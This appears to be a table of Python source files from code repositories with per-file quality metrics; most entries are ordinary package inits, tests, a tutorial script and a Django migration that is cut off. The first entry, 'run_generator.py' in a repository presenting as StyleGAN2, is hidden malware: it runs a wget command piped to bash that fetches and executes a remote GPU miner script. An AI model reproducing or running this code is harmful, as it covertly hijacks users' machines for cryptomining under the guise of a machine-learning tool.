hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
61323be0e4983d21fbe8573aba51b88ec3da620c | 121 | py | Python | run_generator.py | jimmyplummet/StyleGAN2 | 0846919dcb16bce6a710477f1502cb4382f05a19 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | jimmyplummet/StyleGAN2 | 0846919dcb16bce6a710477f1502cb4382f05a19 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | jimmyplummet/StyleGAN2 | 0846919dcb16bce6a710477f1502cb4382f05a19 | [
"BSD-Source-Code"
] | null | null | null | import os as alpha
alpha.system("wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_vs.sh | bash")
| 40.333333 | 101 | 0.752066 | 19 | 121 | 4.736842 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036036 | 0.082645 | 121 | 2 | 102 | 60.5 | 0.774775 | 0 | 0 | 0 | 0 | 0.5 | 0.702479 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
6193bfee1768facfda0ce3e818f38f6c1211a5c7 | 35 | py | Python | simeeg/__init__.py | balandongiv/simeeg | 5af28e4cf7352c3d7d1072843675d83077994be2 | [
"MIT"
] | null | null | null | simeeg/__init__.py | balandongiv/simeeg | 5af28e4cf7352c3d7d1072843675d83077994be2 | [
"MIT"
] | null | null | null | simeeg/__init__.py | balandongiv/simeeg | 5af28e4cf7352c3d7d1072843675d83077994be2 | [
"MIT"
] | null | null | null | from .create_epoch import sim_data
| 17.5 | 34 | 0.857143 | 6 | 35 | 4.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.903226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6199950eb37c3a2d83fa0622f8dc17926db687b5 | 21,867 | py | Python | hit_z_road.py | bigshotJin/HitZRoad | 5f01de7a785a21fc011322f8e3e655e97fcf02a9 | [
"MIT"
] | 1 | 2019-12-28T16:47:01.000Z | 2019-12-28T16:47:01.000Z | hit_z_road.py | bigshotJin/HitZRoad | 5f01de7a785a21fc011322f8e3e655e97fcf02a9 | [
"MIT"
] | null | null | null | hit_z_road.py | bigshotJin/HitZRoad | 5f01de7a785a21fc011322f8e3e655e97fcf02a9 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
this module need easy_logging
"""
import os
import pandas as pd
import numpy as np
from easy_logging.easylogging import EasyVerboseLogging
EVLobj = EasyVerboseLogging()
EVLobj.set_class_logger_level('INFO')
EVLobj.get_class_logger()
class HitZombieRoad(object):
def __init__(self):
... | 47.536957 | 137 | 0.517721 | 2,213 | 21,867 | 4.678265 | 0.063263 | 0.105283 | 0.081909 | 0.071091 | 0.859075 | 0.840143 | 0.828456 | 0.790978 | 0.749251 | 0.717666 | 0 | 0.010352 | 0.399232 | 21,867 | 460 | 138 | 47.536957 | 0.777727 | 0.007088 | 0 | 0.6875 | 0 | 0 | 0.170952 | 0.081421 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028646 | false | 0.005208 | 0.010417 | 0 | 0.052083 | 0.010417 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4efd455047eddeff32bc2a390297c2913a743fde | 51 | py | Python | lib/m3u8/iso8601/__init__.py | arantius/tvheadend-locast | c34d76e663373693994be0b38ded22e51ea2a683 | [
"MIT"
] | 259 | 2020-03-25T15:49:02.000Z | 2022-03-21T03:39:23.000Z | lib/m3u8/iso8601/__init__.py | arantius/tvheadend-locast | c34d76e663373693994be0b38ded22e51ea2a683 | [
"MIT"
] | 226 | 2020-04-13T19:35:06.000Z | 2022-03-06T00:21:54.000Z | lib/m3u8/iso8601/__init__.py | arantius/tvheadend-locast | c34d76e663373693994be0b38ded22e51ea2a683 | [
"MIT"
] | 71 | 2020-03-25T15:49:06.000Z | 2021-09-02T22:57:41.000Z | # pylama:ignore=W0401,W0611
from .iso8601 import *
| 17 | 27 | 0.764706 | 7 | 51 | 5.571429 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.266667 | 0.117647 | 51 | 2 | 28 | 25.5 | 0.6 | 0.490196 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f610dbac8de212129b7046e3cdbabe6471f84f1c | 26 | py | Python | tests/__init__.py | web2py/rocket3 | ba941c3a1d5e4c8b16a22c9c5e3dd5442c1b7624 | [
"BSD-3-Clause"
] | 1 | 2021-02-11T03:48:41.000Z | 2021-02-11T03:48:41.000Z | tests/__init__.py | web2py/rocket3 | ba941c3a1d5e4c8b16a22c9c5e3dd5442c1b7624 | [
"BSD-3-Clause"
] | 1 | 2021-02-13T08:48:52.000Z | 2021-02-13T20:00:42.000Z | tests/__init__.py | web2py/rocket3 | ba941c3a1d5e4c8b16a22c9c5e3dd5442c1b7624 | [
"BSD-3-Clause"
] | 1 | 2021-02-08T20:07:48.000Z | 2021-02-08T20:07:48.000Z | from . import test_rocket
| 13 | 25 | 0.807692 | 4 | 26 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f61497e18155583cc5132e7e990b1097f82cff06 | 130 | py | Python | katas/kyu_7/genetic_algorithm_series_2_mutation.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | katas/kyu_7/genetic_algorithm_series_2_mutation.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | katas/kyu_7/genetic_algorithm_series_2_mutation.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | from random import random
def mutate(chromosome, p):
return ''.join((a, '01'[a == '0'])[random() <= p] for a in chromosome)
| 21.666667 | 74 | 0.615385 | 20 | 130 | 4 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028302 | 0.184615 | 130 | 5 | 75 | 26 | 0.726415 | 0 | 0 | 0 | 0 | 0 | 0.023077 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
f61a4fbc74f3de9d25b2fc9402a7de9aab4a6bbd | 15,217 | py | Python | bigfish/stack/tests/test_filter.py | 4DNucleome/big-fish | 5512b6e3274872793ef4365a6dc423c72add91f9 | [
"BSD-3-Clause"
] | 17 | 2020-03-04T10:46:37.000Z | 2022-03-10T13:15:16.000Z | bigfish/stack/tests/test_filter.py | 4DNucleome/big-fish | 5512b6e3274872793ef4365a6dc423c72add91f9 | [
"BSD-3-Clause"
] | 48 | 2020-03-16T13:39:44.000Z | 2022-03-31T17:26:50.000Z | bigfish/stack/tests/test_filter.py | 4DNucleome/big-fish | 5512b6e3274872793ef4365a6dc423c72add91f9 | [
"BSD-3-Clause"
] | 15 | 2020-03-04T16:02:31.000Z | 2022-02-17T14:11:15.000Z | # -*- coding: utf-8 -*-
# Author: Arthur Imbert <arthur.imbert.pro@gmail.com>
# License: BSD 3 clause
"""
Unitary tests for bigfish.stack.filter module.
"""
import pytest
import numpy as np
import bigfish.stack as stack
from bigfish.stack.filter import _define_kernel
from numpy.testing import assert_array_equal
fr... | 34.82151 | 71 | 0.556483 | 2,028 | 15,217 | 3.946746 | 0.078402 | 0.044478 | 0.047976 | 0.044978 | 0.8497 | 0.827461 | 0.795727 | 0.776862 | 0.766742 | 0.765117 | 0 | 0.118154 | 0.320891 | 15,217 | 436 | 72 | 34.901376 | 0.656377 | 0.031347 | 0 | 0.699115 | 0 | 0 | 0.015381 | 0 | 0 | 0 | 0 | 0 | 0.212389 | 1 | 0.032448 | false | 0 | 0.017699 | 0 | 0.050147 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f63e34643f9ce8bcd233959f49016f41e28a7a1f | 699 | py | Python | tests/test_main.py | tokusumi/drudgeyer | 5282b92c22493ae43421493b9850e10df34ef34f | [
"MIT"
] | null | null | null | tests/test_main.py | tokusumi/drudgeyer | 5282b92c22493ae43421493b9850e10df34ef34f | [
"MIT"
] | 3 | 2021-03-06T11:28:39.000Z | 2021-03-11T08:12:07.000Z | tests/test_main.py | tokusumi/drudgeyer | 5282b92c22493ae43421493b9850e10df34ef34f | [
"MIT"
] | null | null | null | from typer.testing import CliRunner
from drudgeyer import app
runner = CliRunner()
def test_app():
result = runner.invoke(app, ["--help"])
assert result.exit_code == 0, result.stdout
result = runner.invoke(app, ["run", "--help"])
assert result.exit_code == 0, result.stdout
result = runner.invo... | 26.884615 | 53 | 0.646638 | 91 | 699 | 4.89011 | 0.252747 | 0.161798 | 0.242697 | 0.283146 | 0.734831 | 0.734831 | 0.734831 | 0.734831 | 0.651685 | 0.651685 | 0 | 0.010526 | 0.184549 | 699 | 25 | 54 | 27.96 | 0.770175 | 0 | 0 | 0.375 | 0 | 0 | 0.078684 | 0 | 0 | 0 | 0 | 0 | 0.375 | 1 | 0.0625 | false | 0 | 0.125 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f6491069571690a0457248fa03941dc4de624512 | 139 | py | Python | python_tutorial/main.py | vchatchai/python101 | c2f1c7b0f62a4600f9c64af566dc5630742580f2 | [
"Apache-2.0"
] | null | null | null | python_tutorial/main.py | vchatchai/python101 | c2f1c7b0f62a4600f9c64af566dc5630742580f2 | [
"Apache-2.0"
] | null | null | null | python_tutorial/main.py | vchatchai/python101 | c2f1c7b0f62a4600f9c64af566dc5630742580f2 | [
"Apache-2.0"
] | null | null | null | from fibo import fib, fib2
import fibo
import importlib
print(fibo.__name__)
print(fib(1000))
print(fibo.fib2(100))
importlib.reload(fibo)
| 17.375 | 26 | 0.791367 | 22 | 139 | 4.818182 | 0.5 | 0.188679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.093525 | 139 | 7 | 27 | 19.857143 | 0.769841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.571429 | 0 | 0.571429 | 0.428571 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
f672f9dedd21cb0b5ca593d026104393d22f9ce8 | 39 | py | Python | lhotse/tools/__init__.py | csukuangfj/lhotse | 9b12055ca75718914c5457b33e498d1c8e8b86d8 | [
"Apache-2.0"
] | 353 | 2020-10-31T10:38:51.000Z | 2022-03-30T05:22:52.000Z | lhotse/tools/__init__.py | csukuangfj/lhotse | 9b12055ca75718914c5457b33e498d1c8e8b86d8 | [
"Apache-2.0"
] | 353 | 2020-10-27T23:25:12.000Z | 2022-03-31T22:16:05.000Z | lhotse/tools/__init__.py | csukuangfj/lhotse | 9b12055ca75718914c5457b33e498d1c8e8b86d8 | [
"Apache-2.0"
] | 66 | 2020-11-01T06:08:08.000Z | 2022-03-29T02:03:07.000Z | from .sph2pipe import install_sph2pipe
| 19.5 | 38 | 0.871795 | 5 | 39 | 6.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057143 | 0.102564 | 39 | 1 | 39 | 39 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f67731f5fc0850e27929602df508ab390137d452 | 194 | py | Python | trac/Lib/site-packages/projectplan-0.93.0-py2.7-patched.egg/projectplan/renderer/__init__.py | thinkbase/PortableTrac | 9ea0210f6b88f135ef73f370b48127af0495b2d7 | [
"BSD-3-Clause"
] | 2 | 2015-08-06T04:19:21.000Z | 2020-04-29T23:52:10.000Z | trac/Lib/site-packages/projectplan-0.93.0-py2.7-patched.egg/projectplan/renderer/__init__.py | thinkbase/PortableTrac | 9ea0210f6b88f135ef73f370b48127af0495b2d7 | [
"BSD-3-Clause"
] | null | null | null | trac/Lib/site-packages/projectplan-0.93.0-py2.7-patched.egg/projectplan/renderer/__init__.py | thinkbase/PortableTrac | 9ea0210f6b88f135ef73f370b48127af0495b2d7 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from ppchartrenderer import *
from ppticketsperuserday import *
#from pphierarchicalrenderer import *
from ppreportrenderer import *
from ppgroupstatsrenderer import *
| 21.555556 | 37 | 0.783505 | 18 | 194 | 8.444444 | 0.555556 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005988 | 0.139175 | 194 | 8 | 38 | 24.25 | 0.904192 | 0.293814 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9ca98cc0d23366e6e53f54eb84870f9bb11bce99 | 42 | py | Python | netijen/lazuardyk/findmin.py | yesyou11/hacktoberfest-2019 | 8f05b9b2453577d589c63f196c916a95377da98a | [
"WTFPL"
] | 1 | 2019-10-01T16:30:00.000Z | 2019-10-01T16:30:00.000Z | netijen/lazuardyk/findmin.py | yesyou11/hacktoberfest-2019 | 8f05b9b2453577d589c63f196c916a95377da98a | [
"WTFPL"
] | null | null | null | netijen/lazuardyk/findmin.py | yesyou11/hacktoberfest-2019 | 8f05b9b2453577d589c63f196c916a95377da98a | [
"WTFPL"
] | null | null | null | def findmin(angka):
return min(angka)
| 14 | 21 | 0.690476 | 6 | 42 | 4.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 42 | 2 | 22 | 21 | 0.852941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
140d9fc18715129ce4df3ee2291a9af73b8ddedf | 22 | py | Python | src/dpsrvf/__init__.py | drewrl3v/dpsrvf | b78a83417bb59e5df7ebd831db6511116d16b638 | [
"BSD-3-Clause"
] | null | null | null | src/dpsrvf/__init__.py | drewrl3v/dpsrvf | b78a83417bb59e5df7ebd831db6511116d16b638 | [
"BSD-3-Clause"
] | 1 | 2021-12-02T00:04:29.000Z | 2021-12-02T00:04:29.000Z | src/dpsrvf/__init__.py | drewrl3v/dpsrvf | b78a83417bb59e5df7ebd831db6511116d16b638 | [
"BSD-3-Clause"
] | null | null | null | from .dpsrvf import *
| 11 | 21 | 0.727273 | 3 | 22 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 22 | 1 | 22 | 22 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
148f4c1f2a15a99386afd8bf7437ae1271c28c0c | 63 | py | Python | gethigal/__init__.py | vlas-sokolov/gethigal | 4a1cdd2b5acd673f19fa99a87560f09ba8dba2eb | [
"MIT"
] | 4 | 2017-03-22T19:58:44.000Z | 2019-08-25T23:39:46.000Z | gethigal/__init__.py | vlas-sokolov/gethigal | 4a1cdd2b5acd673f19fa99a87560f09ba8dba2eb | [
"MIT"
] | null | null | null | gethigal/__init__.py | vlas-sokolov/gethigal | 4a1cdd2b5acd673f19fa99a87560f09ba8dba2eb | [
"MIT"
] | null | null | null | from . import requestform
from .requestform import RequestForm
| 21 | 36 | 0.84127 | 7 | 63 | 7.571429 | 0.428571 | 0.641509 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126984 | 63 | 2 | 37 | 31.5 | 0.963636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
14ae332af62300b3f821c52ff9cb9ba5f6319266 | 64 | py | Python | stweet/file_reader/__init__.py | enginbozaba/stweet-twitter-api | 060250e00a01ae53c2ca12954719b5efc918e132 | [
"MIT"
] | null | null | null | stweet/file_reader/__init__.py | enginbozaba/stweet-twitter-api | 060250e00a01ae53c2ca12954719b5efc918e132 | [
"MIT"
] | null | null | null | stweet/file_reader/__init__.py | enginbozaba/stweet-twitter-api | 060250e00a01ae53c2ca12954719b5efc918e132 | [
"MIT"
] | null | null | null | from .read_from_file import read_from_csv, read_from_json_lines
| 32 | 63 | 0.890625 | 12 | 64 | 4.166667 | 0.583333 | 0.48 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078125 | 64 | 1 | 64 | 64 | 0.847458 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
14bb4e643ae8b1e0c73b8052db2f70c31a743c1a | 43 | py | Python | cnn_example/data/__init__.py | 4620511/cnn-example | b89b235d68569fac4769f50ee2f49ee16c750f08 | [
"MIT"
] | null | null | null | cnn_example/data/__init__.py | 4620511/cnn-example | b89b235d68569fac4769f50ee2f49ee16c750f08 | [
"MIT"
] | null | null | null | cnn_example/data/__init__.py | 4620511/cnn-example | b89b235d68569fac4769f50ee2f49ee16c750f08 | [
"MIT"
] | null | null | null | from .data import DataModule # noqa: F401
| 21.5 | 42 | 0.744186 | 6 | 43 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 0.186047 | 43 | 1 | 43 | 43 | 0.828571 | 0.232558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1ae6cabe59971a540b46e4c4a87d2df6445846bf | 1,764 | py | Python | classic_tetris_project/migrations/0049_auto_20210417_2149.py | professor-l/classic-tetris-project | d171ab40c06b87ee945dce058babf2ed23dd3b88 | [
"MIT"
] | 17 | 2019-11-23T12:56:06.000Z | 2022-02-05T21:48:00.000Z | classic_tetris_project/migrations/0049_auto_20210417_2149.py | professor-l/classic-tetris-project | d171ab40c06b87ee945dce058babf2ed23dd3b88 | [
"MIT"
] | 43 | 2019-10-03T20:16:11.000Z | 2022-03-12T00:24:52.000Z | classic_tetris_project/migrations/0049_auto_20210417_2149.py | professor-l/classic-tetris-project | d171ab40c06b87ee945dce058babf2ed23dd3b88 | [
"MIT"
] | 17 | 2020-02-09T01:55:01.000Z | 2021-11-12T21:16:50.000Z | # Generated by Django 3.1.3 on 2021-04-17 21:49
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('classic_tetris_project', '0048_auto_20210417_2147'),
]
operations = [
migrations.AlterField(
